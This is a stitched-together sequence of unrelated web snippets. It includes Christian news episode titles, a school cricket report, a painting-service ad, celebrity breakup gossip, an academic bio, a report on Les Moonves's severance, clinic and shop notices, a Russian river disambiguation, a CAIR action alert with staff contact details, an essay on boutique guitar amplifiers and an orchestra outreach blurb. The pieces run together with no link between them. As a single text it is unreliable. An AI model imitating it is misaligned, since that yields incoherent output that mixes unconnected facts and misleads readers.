Christian World News - Danger for Afghanistan's Christians - August 19, 2022
Christian World News - Answering the Heart's Cry - August 12, 2022
Christian World News - ANSWERED PRAYER - August 5, 2022
Christian World News - Ministry in a War Zone - July 29, 2022
Christian World News - THE POWER OF FORGIVENESS - July 22, 2022
Christian World News - Surviving the Russians - July 15, 2022
Christian World News - Ukraine Moves Forward - July 8, 2022
Christian World News - Standing for the Suffering - July 1, 2022
Christian World News - Frontline Pastor - June 24, 2022
Christian World News - A Generation at Risk - June 17, 2022
Christian World News - Targeting Pro-Lifers - June 10, 2022
Christian World News - China's Genocide - June 3, 2022
Christian World News - PUTIN'S PATRIARCH - May 27, 2022
Christian World News - Serving God in Tough Times - May 20, 2022
Christian World News - Faith and Courage - May 13, 2022
Christian World News - "50 State Battle" - May 6, 2022
Christian World News - PUTIN'S PATRIARCH - April 29, 2022


Congratulations to the girls' cricket team for winning one of the city's finals competitions, meaning that we progress to the County finals on July 3rd. The girls competed against Southwark in two closely fought games. We came out on top and now face 15 other schools from around the county!
Meanwhile, in the morning, the boys team came fourth after two very narrow defeats against the 2nd and 3rd place teams. In one match, we scored a whopping 291 runs - the highest score of the day! Look below for photos and video from the two city finals.


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For more information, to acquire a free quote, or to employ our Painters and Decorators services Bettystown, call us at 0877118343 to get in touch with us. Alternatively, you contact us via our convenient online form and we'll get to you right away.
Are you contemplating giving your house or business a fresh look? Do you need to repair water stains on walls and ceilings or over walls where mould was eliminated? It may be tempting to do the task yourself, which can lead to cost savings. But, there are many reasons you should consider selecting a professional painter and decorator support.
Proper painting of either interiors or exteriors necessitates an investment in gear — brushes, rollers, sprayers, tarp to shield surfaces and floors, ladders, scaffolding, sanders, compound knifes, patching materials, solvents, the list can become long and pricey. Hiring a professional painter and decorator usually means that the painter comes with of the tools that they will require to do the work properly, will wash those tools up when they are completed and will take them away to be stored elsewhere.
A professional painter and decorator will have the ideal gear and be knowledgeable and experienced with how to shield furniture, flooring, cupboards, paths and other items that you don't need painted out of any damage. If your job entails staining, a professional will have the right equipment and experience to use the stain correctly to attain the perfect finish and once achieved, shield that finish.
An expert painter and painter is going to learn that preparation is the trick to a great looking, long-lasting paint job. Areas with water or mold staining may require additional therapy and patching before they are ready for a final paint job. It's a good deal of work and if it is not done correctly with appropriate tools and methods, it will not result in a quality finish.
Painting requires patience to generate a gorgeous excellent finish and it also takes skill that is developed with training and experience. A professional will learn how to complete all their preparation and painting jobs involved to reach the best effect.
A professional painter will also understand the materials that are needed to perform the work right. Which primer will offer the right coverage? Oil or latex? Which primer base is demanded? What paint base? Roller or spray?
A professional painter will be able to recommend materials which are better to get the look you want, while preventing any harm to your surfaces. With this advice, you can achieve a greater quality finish that will endure.
For exterior jobs, a professional will know the right weather, temperature and sunlight conditions to complete the job with the best results. Stains respond differently in direct sunshine than when it's overcast, and at different temperatures. While rain obviously affects the job, heat and humidity may also impact the quality of exterior paint finishes. A local expert painter will know the right stuff to use to produce your exterior last as long as possible in Dublin's climate.
Increasing on ladders while trying to apply paint correctly is a skilled job which takes careful attention and focus to prevent severe harm and harm. The higher the site which requires painting, the higher the danger of an accident. For inside projects with high areas or exterior jobs, an expert painter will have all the resources and expertise required to perform the job safely and correctly, including the right size and design of ladder and scaffolding.
Your time is valuable and painting yourself takes a significant amount of time. Having a professional painter and decorator take care of the job for you can save you days and days of effort, and can usually be done in a much shorter period of time.


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Iggy Azalea Shows Off How 'Big' Son Onyx, 8 Mos., Has Gotten In Cute New Pic
Act Fast Because The Famous Amazon Jacket With Over 14k Reviews Is Currently On Sale For Under $100
Lori Harvey: How She Can Avoid Serving Any Jail Time Despite Car Accident Charges — Lawyer Explains
January 15, 2020 12:01AM EST
Kaia Gerber, 18, & Pete Davidson, 26, Split After Nearly 3 Months Of Dating
Erin Silvia
News Writer & Reporter
Kaia Gerber and Pete Davidson have reportedly called it quits after enjoying a whirlwind romance since Oct. and we've got the EXCLUSIVE details.
It looks like Kaia Gerber, 18, and Pete Davidson, 26, are over! The model and the Saturday Night Live star have broken up after almost three months of dating, according to a source who spoke EXCLUSIVELY to HollywoodLife. "Kaia and Pete broke up sometime last week" the source EXCLUSIVELY said. The reason behind the breakup is yet to be seen.
The sad news comes after Kaia first fueled breakup rumors when she went on a trip solo with friends this past weekend. Since the former lovebirds always looked thrilled to be around each other, their ending comes as a bit of a surprise, but they've seemed to keep things low-key as Pete hasn't been publicly spotted since Dec. when he was seen leaving Kaia's NYC apartment. He did appear in an Alexander Wang fashion campaign video, which was released on Jan. 12, but he didn't mention Kaia.
Kaia, whose mom is supermodel Cindy Crawford, 53, and Pete were first spotted together when they went on a lunch date at Sadelle's in New York City on Oct. 23. Later that same day, Pete was also spotted leaving Kaia's apartment so the dating rumors started swirling right away. Since then, they have been out multiple times, including a night out for a concert at Webster Hall on Nov. 19 and at a beach in Miami, FL, where they were spotted passionately kissing, on Nov. 23.
Before he dated Kaia, Pete got a lot of attention for dating some of Hollywood's biggest starlets, including singer Ariana Grande, actress Margaret Qualley, and actress Kate Beckinsale.
Neither Kaia or Pete have commented on the breakup reports just yet, but we'll be on the lookout to see if they say anything soon!
kaia gerber	Pete Davidson
This Celeb-Favorite Blanket Brand Just Dropped a Mandalorian Collection Every Star Wars Fan Needs


I am an Assistant Professor at the Department of Computer Science at the New Jersey Institute of Technology.
Before that, I held a tenure-track position at the Institute of Technology at the University of Washington Tacoma. Before joining UW Tacoma, I was a postdoctoral fellow at DIMACS at Rutgers University.
I have received my PhD in Computer Science from the University of Texas at Arlington in May 2011. Earlier, I graduated from the University of Texas at Arlington in May 2007 with the M.S. degree in Computer Science (CSE@UTA). I have received my undergraduate B.Tech degree (2004) in Computer Science and Engineering from the University of Calcutta, India.
I typically teach database management, data analytics, and Algorithm courses – such as, Data Mining, Big Data Analytics, Database Management, and Algorithm.


Recently ousted CBS chief Les Moonves will most likely get no severance pay, no matter the results of the investigation the corporation has launched since accusations of sexual misconduct were posed against the longtime CEO by multiple women, according to a story published Thursday by The New York Times.
Time's Up is currently calling on the CBS board of directors to donate the $120 million it's holding for a potential severance package for Moonves to organizations that address sexual harassment and workplace safety. Moonves resigned late Sunday from CBS, following a second wave of sexual misconduct allegations that came out that morning.
The New York Times' lengthy story includes interviews with anonymous sources to create a detailed timeline of the CBS board of directors' six-week deliberation about Moonves.
According to these sources, Moonves was backed by a majority in late July — after the initial accusations came out against him in Part 1 of Ronan Farrow's New Yorker piece — until the board learned one woman was threatening to go public with her claims and that Moonves was trying to get his accuser a job at CBS in exchange for her silence.
Per the Times' sources, Moonves told the lawyers he had disclosed the the matter to attorney Michael Aiello — along with the fact he knew about a sexual harassment complaint Phyllis Golden-Gottlieb had filed with the Los Angeles police against him — when he was questioned in January.
Aiello denied to the board that Moonves reported either of those incidents to him, and the lawyers who listened to the interview could not find mention in their notes, according to the Times.
Moonves declined to give the Times further comment on the situation beyond his previously released statements, including on the assertion he was trying to get a job for one accuser.
Moonves maintained his innocence in a statement issued late Sunday.
Representatives for CBS and Moonves did not immediately respond to TheWrap's request for comment on the Times story.


Patients are seen by referral ONLY. We provide specialized care for both emergent and non-emergent care for outpatients from the Ottawa/Gatineau Region, Eastern/Northern Ontario and Western Quebec, and Iqaluit. We also provide ophthalmic consultation services for CHEO inpatients. Patients can be referred by an ophthalmologist, pediatrician, family doctor, or optometrist.


Ballard has its own Millinery Studio! Five milliners are in residence, and you will see where we work and create, including tools, materials trim designs, hats in progress, and finished hats.
Please come to meet and speak with resident milliners. You will see the great variety of hats and headpieces available, and can discuss any thoughts about your own bespoke hat, designed to your specifications.


Check out our new line of gauge panels under Don's Vintage Clusters. Panels being added as we get them in stock. Many panels are exclusive to us and only offered here.
Check out the new lines of backlit gauges from New Vintage USA. They are the 1939 Series, Aviator, CFR both red and blue, Performance, and 1969 series. Great looking gauges and better quality and price than many competitors gauges.
All at egaugesplus would like wish everyone a safe and happy Independence Day.
egaugespluse would like to thank all the military personnel and veterans for their service this Memorial Day.
We will be at the 40th annual Petaluma Swap Meet at the Petaluma fairgrounds at Hwy101 and Washington St.
Look for our booth there.
Everyone at egaugesplus would like to wish all a Very Merry Christmas.
We will have our first shipment of VEI gauges shortly. If you need one let us know so we will be sure to get it in our first shipment.
We will be carrying VEI Systems digital gauges very soon. They are very accurate and have an amazing amount of user friendly setting. They have a billet gauge housing with either brushed silver or black bezel. They also have dual display gauges.


text:
Кезъёль:

 Кезъёль (приток Ламбейёли) — река в России, протекает в Республике Коми.
 Кезъёль (приток Сюзью) — река в Российской Федерации, протекает в Республике Коми.

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Rest assured that Complete Lawn Mowing has all of the equipment and expertise necessary to make sure your hedges look their best all year round, together with the knowledge and ability to undertake the task safely and securely.


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NY Law Firm to Host Leader of Anti-Islam Hate Group
[IMPORTANT NOTE: Within a few hours of this action alert, Kramer Levin Naftalis & Frankel withdrew their permission for the event featuring Robert Spencer to be held at their offices. This alert is left as a record only; there is no longer any need to contact Kramer Levin. Thank you to all those who took action and helped bring this issue to their attention.]
(NEW YORK, NY, 3/29/2012) — The Council on American-Islamic Relations (CAIR) today expressed concern that a prominent New York law firm is scheduled to host Robert Spencer, the leader of one of the nation's most extreme anti-Islam hate groups.
On April 18, Spencer will give a talk titled "Did Muhammad Exist?" at the law offices of Kramer Levin Naftalis & Frankel (Kramer Levin) in New York City. The event will promote Spencer's claim that Islam's Prophet Muhammad may never have existed.
[ACTION REQUESTED: Send POLITE comments to Kramer Levin's Director of Diversity Lauren Tapper. E-Mail: ltapper@kramerlevin.com COPY TO: cauguste@kramerlevin.com, jmaier@kramerlevin.com, jrochon@kramerlevin.com, dcho@kramerlevin.com, nsimon@kramerlevin.com, mdunn@kramerlevin.com, info@cair.com ]
"If Kramer Levin is determined to host the leader of an anti-Islam hate group, the least they could do is invite a credible representative of the New York Muslim community to balance Robert Spencer's extremist views," said Zead Ramadan, board president of CAIR's New York chapter.
Ramadan said the firm's hosting of an anti-Islam extremist is in apparent opposition to its policy on diversity, which cites the "imperative that we maintain an environment where people from diverse backgrounds can flourish, both as lawyers and as individuals."
"One can only imagine how a Muslim attorney employed by Kramer Levin would feel about Spencer's appearance and its negative impact on the work environment," said Ramadan.
"Fear, Inc.," a recent report by the Center for American Progress noted that "[Norwegian mass murderer Anders Breivik] cited Robert Spencer, one of the anti-Muslim misinformation scholars we profile in this report, and his blog, Jihad Watch, 162 times in his manifesto."
Spencer is co-founder of Stop the Islamization of America (SIOA), which has been designated as a hate group by the Southern Poverty Law Center. (NOTE: Spencer's "Jihad Watch" organization is also listed as a hate group by the SPLC.)
The SPLC named Spencer as part of the nation's "Anti-Muslim Inner Circle."
SIOA, which led the Islamophobic challenge to New York's Park51 Islamic Community Center, is an outgrowth of a similar group in Europe that seeks to block the construction of mosques on that continent. Stop the Islamization of Europe, SIOA's sister organization, "considers Islamophobia to be the height of common sense."
The independent national media watch group Fairness & Accuracy in Reporting (FAIR) identified Spencer as one of "Islamophobia's Dirty Dozen" who systematically "spread fear, bigotry, and misinformation."
In its report, FAIR said, "By selectively ignoring inconvenient Islamic texts and commentaries, Spencer concludes that Islam is innately extremist and violent."
CONTACT: CAIR-NY Board President Zead Ramadan, 212-882-1520; CAIR-NY Civil Rights Manager Cyrus McGoldrick, 212-870-2002, or 203-206-6883, E-Mail: cmcgoldrick@cair.com; CAIR National Communications Director Ibrahim Hooper, 202-744-7726, E-Mail: ihooper@cair.com; CAIR Communications Manager Amina Rubin, 202-488-8787, 202-341-4171, E-Mail: arubin@cair.com


Are Expensive Amps Really "Better"?
Whether you call them boutique, small-shop, or just expensive, there's an implied truth that pricey tube guitar amps made by smaller American manufacturers and one-man shops are somehow "better" than mass-produced tube amps from larger makers.
Both breeds achieve broadly the same ends, however, and many players might argue that—especially when they're cranked up and raging in a full-band setting—you can ultimately hear little difference between similarly spec'd models from the two camps. Others, of course, would vehemently disagree.
So what makes expensive amps implicitly "better," and are they worth the higher prices they command?
Before diving inside the designs and construction techniques to see why boutique amps cost more than those that are mass manufactured, let's acknowledge up front that plenty of great music is made with examples of both. You could even argue that mass-manufactured amps have far outshone more expensive small-maker amps in the hits-per-dollar ratio.
Nothing discussed here is intended to imply that you'll make better music, or be more successful, if you invest more in your amplifier, or that an expensive amplifier is required if you intend to be taken seriously as a guitarist.
Looked at from another angle, although the best guitar amps of the 1950s, '60s, and early '70s are considered highly desirable vintage pieces today, anything from Fender, Marshall, Gibson, Ampeg, Vox, and many others was really just another mass-manufactured amp back in its day (although "mass-manufactured" was often made differently back then—more like what we call "boutique" today). For the most part, that's all there was, and that "mass-manufactured" tag didn't keep artists of those eras from making phenomenal music.
Also, you might ultimately just decide you don't need to buy an expensive amp to achieve everything you want to achieve musically, and that's absolutely fine. But plenty of players do pursue that little extra sonic something that they perceive in more expensive and often handmade guitar amps—and if that gives them that extra little inspirational edge, well, that's a valid choice too.
There are several factors that contribute to a so-called boutique amp costing two or three times that of a mass-manufactured amp of roughly the same specifications—a street price of $799 USD for a 15-watt Vox AC15C1 1x12" combo, for example, verses $2,312 USD for a 15-watt Matchless Lightning 1x12" combo (and without the Vox's reverb and tremolo), even though both carry the same number and types of tubes. These contributing factors break down into three broad expense categories: parts, labor, and design.
While none of these factors are universally applied, smaller boutique makers will often use more expensive components at just about every point in their amps' construction; and in fact, the cost of parts is often another demarcation point between the most expensive small-shop makers and those at the more affordable end of the boutique spectrum.
Without implying that larger manufacturers disregard the quality of their parts (everyone wants to make a good amp, after all, and to avoid returns and warranty issues too), the components used in the more plentiful products tend to be more consumer-grade parts in the first place, acquired with an eye firmly on the bottom line.
Many boutique makers, on the other hand, put a lot of thought and effort into selecting each individual component in the circuit, and elsewhere in the build, with very specific consideration for how these will enhance and optimize both their amps' tone and their durability. As a result, they are often selecting components that are significantly more expensive per-piece than those used in mass manufactured amps.
For example, while a generic .022uF coupling capacitor of the type used in several positions in many guitar-amp circuits might cost $0.18 USD or so per-unit when purchased in bulk, high-end caps like those made by SoZo and others might cost more than $3.00 USD per piece.
That doesn't sound like a lot in and of itself, but multiply it several times throughout the parts list for any one amp, and the costs begin to add up. The cost differential between some of the bigger parts can put an even bigger dent in the budget: For example, a generic Fender-style 25-watt replacement output transformer can be had for about $34.95 USD retail, while a similar product from a maker like Mercury Magnetics will cost more than $130 USD.
On the other hand, many makers accept that using the most expensive or esoteric parts in all positions doesn't always add up to the best-sounding guitar amp. Indeed, sometimes a little corruption in a part's performance can add character to the overall sound.
As Reinhold Bogner once told me, "Sometimes the crappy stuff is better. … The imperfection gives you the coloration. Because you're not making hi-fi amps with no distortion. You want distortion, even in the clean sound." None of which is to say, Bogner goes on to point out, that you can just randomly select inferior components and expect them to induce some sort of sonic magic.
That said, many of the same makers accept that in order to extract a sweet, dynamic, responsive, and harmonically-rich performance from any given circuit, you usually need to spend some cash on parts to get there.
And the list goes on… And yeah, that kind of stuff is going to cost some serious $$$.
The High Labor Costs of "Hand Built"
Given how often American manufacturing is discussed today, most readers will already be aware that it generally costs more to make a product in the U.S. than it does to job it out to many overseas locations—and in many cases a lot more. Simply put, that's a big part of the elevated price tags of many high-end guitar amps. But along with the "where," the "how it's made" forms another big part of the picture.
Most of the amps we'd class as "boutique" are assembled and wired by hand, often with one person completing the entire assembly—and the wiring and soldering of electronics—start to finish. This requires the skill to lay out the circuit correctly and to neatly complete each individual solder joint, which might add up to hundreds in any medium-sized amp.
This kind of labor simply costs money and requires trained, skilled workers to undertake it. And with smaller boutique makers your amp is often built by the very same guy who owns the company, who designed the model, and who took your order over the phone.
Many mass-manufactured amps from larger companies use some form of assembly-line work to complete their products, and a degree of mechanization too. The more affordable of these might use a "dip soldering" technique that completes an entire printed circuit board (PCB) in one dunk into the "solder bath." Such techniques help to crank out consumer-grade electronics quickly and affordably.
You can also weigh up the difference between the costs of hand-building and assembly-line manufacture by checking out the limited edition "hand-wired" amps that makers like Fender, Marshall, and Vox have occasionally put out alongside their standard-run amps (that often have broadly similar specifications as far as output power, tubes, and speaker complement). The hand-wired amps might also use some better components, but their major upcharge is due in large part to labor costs.
This is kind of an unquantifiable factor, but it's certainly worth some consideration. Make no mistake, most mass-manufactured amps require significant design efforts and the skills to do it right, but the approach differs considerably according to the end goal of the product.
With many smaller boutique amps, however, the same guy who will assemble your amp (or the right-hand-man or woman who has been trained by that person) has spent the better part of a lifetime studying and refining amplifier design, chasing that magical "tone in the head" that they haven't found in any existing production amp—and which might just be your ultimate tone too.
In addition, design elements used by such makers—which often include things like heavy hand-wired turret or eyelet circuit boards, or at the very least heavy-gauge double-sided PCBs—tend to lead to other higher production costs by their very nature, given the way that they're put together.
In many ways, these three factors—parts, labor, design—can all influence and feed off one another, too: The creator puts extra effort into the design, which entails a thoughtful and time-consuming parts-selection process, and all of the above contributes to a laborious and expensive manufacturing process.
Consider the effort made by Mark Sampson, co-founder and original designer of Matchless amplifiers (and more recently the proprietor of Star Amplifiers), simply to select one part of the equation.
"I have a test bench that I use where I can mount up to six output transformers with one big rotary switch, and I just listen to them back-to-back," Sampson told me several years ago. "And there's another knob where I can plug in up to four speaker cabinets, so I can listen to six different output transformers with four different speaker cabinets. That's really how you've got to do it. So I do those things when there's no one around, after everybody's gone home. I shut the phone off and go into design mode, which is a whole other process than running a business."
Okay, so what? Does all of this add up to anything that the average guitarist should care about anyway? As with so many aspects of your gear selection, that depends.
As mentioned at the top of this article, if you're getting great service from a relatively affordable amp that's doing as much as you need from it, by way of making the music that you are compelled to make—great. There's truly no reason to worry about upgrading to something rare, refined, and far more expensive simply because the market, magazine reviews, or online chat rooms seem to be implying you should.
What many players who are experienced with high-end amps will tell you, though, is that the better of these products tend to obtain degrees of touch sensitivity, sonic depth and richness, harmonic saturation, and/or other qualities that are not often achieved in mass-manufactured guitar amps. Some of these guitarists also swear that this extra "sonic magic" inspires them to play better, and helps them make better music in the process.
Others declare that although, yes, such amps can sound glorious and are fun and inspiring to play, they make little difference to the most crucial ears in the room—those of your audience—once mixed with the rest of the band and recorded in the studio or pumped out live via the house PA, and therefore the performance uptick is likely minimal at best.
As ever, the only way to determine whether high-end, so-called "boutique" amps are right for you is to assess your needs and expectations with close reference to your budget, and to then try out as many amps in your price range as you can get your guitar plugged into. Ultimately, what works for your music is what works… period.


With the Acoustic Power project we bring young people from the third grade of secondary education face to face with the overwhelming power of an orchestra. They experience the fascination of classical music in all its facets: emotional, narrative, as well as technical.
A project by Concertgebouw Brugge in cooperation with the Flanders Symphony Orchestra, commissioned by the Province of West Flanders, with the power of sp.a and with the support of KU Leuven.
We start with a low-threshold workshop, entirely tailored to the audience. Who wants can also participate in a contest. Finally, the pupils experience a concert in the Concertgebouw in which a few short, accessible music pieces are performed by the Flanders Symphony Orchestra.